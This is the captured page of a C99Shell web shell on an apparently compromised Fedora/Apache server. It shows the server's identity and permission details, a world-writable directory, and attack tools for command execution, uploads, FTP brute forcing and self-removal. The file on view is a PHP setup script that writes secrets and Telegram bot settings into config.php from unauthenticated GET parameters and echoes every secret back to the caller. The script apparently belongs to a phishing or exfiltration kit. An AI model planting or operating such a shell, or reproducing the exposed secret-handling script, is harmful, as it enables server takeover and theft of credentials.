!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/mina/manage/temp/   drwxrwxrwx
Free 2.17 GB of 27.03 GB (8.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     setup_env.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// setup_env.php — Generate local config.php with secrets and Telegram settings
// Web usage: open /setup_env.php and optionally pass ?bot=<token>&chat=<id>
// CLI usage: php setup_env.php --bot=TOKEN --chat=ID

function random_ascii(int $length = 32): string {
    
$alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    
$bytes = random_bytes($length);
    
$s = '';
    for (
$i = 0; $i < $length; $i++) { $s .= $alphabet[ord($bytes[$i]) % strlen($alphabet)]; }
    return
$s;
}

function
generate_config(array $existing = [], ?string $bot = null, ?string $chat = null): array {
    
$cfg = $existing;
    if (empty(
$cfg['ONE_TIME_SECRET'])) { $cfg['ONE_TIME_SECRET'] = bin2hex(random_bytes(32)); }
    if (empty(
$cfg['COOKIE_ENCRYPTION_KEY'])) { $cfg['COOKIE_ENCRYPTION_KEY'] = random_ascii(32); }
    if (
$bot) { $cfg['TELEGRAM_BOT_TOKEN'] = $bot; }
    if (
$chat) { $cfg['TELEGRAM_CHAT_ID'] = $chat; }
    return
$cfg;
}

$bot = null; $chat = null;
if (
PHP_SAPI === 'cli') {
    foreach (
$argv as $arg) {
        if (
preg_match('/^--bot=(.+)$/', $arg, $m)) $bot = $m[1];
        elseif (
preg_match('/^--chat=(.+)$/', $arg, $m)) $chat = $m[1];
    }
} else {
    
$bot = $_GET['bot'] ?? null;
    
$chat = $_GET['chat'] ?? null;
}

$configPath = __DIR__ . '/config.php';
$existing = is_file($configPath) ? (include $configPath) : [];
$cfg = generate_config($existing, $bot, $chat);

$content = "<?php\nreturn " . var_export($cfg, true) . ";\n";
if (@
file_put_contents($configPath, $content) === false) {
    
http_response_code(500);
    echo
'Failed to write config.php';
    exit;
}

header('Content-Type: application/json');
echo
json_encode([
    
'ok' => true,
    
'config_path' => basename($configPath),
    
'ONE_TIME_SECRET' => $cfg['ONE_TIME_SECRET'],
    
'COOKIE_ENCRYPTION_KEY' => $cfg['COOKIE_ENCRYPTION_KEY'],
    
'TELEGRAM_BOT_TOKEN' => $cfg['TELEGRAM_BOT_TOKEN'] ?? null,
    
'TELEGRAM_CHAT_ID' => $cfg['TELEGRAM_CHAT_ID'] ?? null,
],
JSON_PRETTY_PRINT);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0043 ]--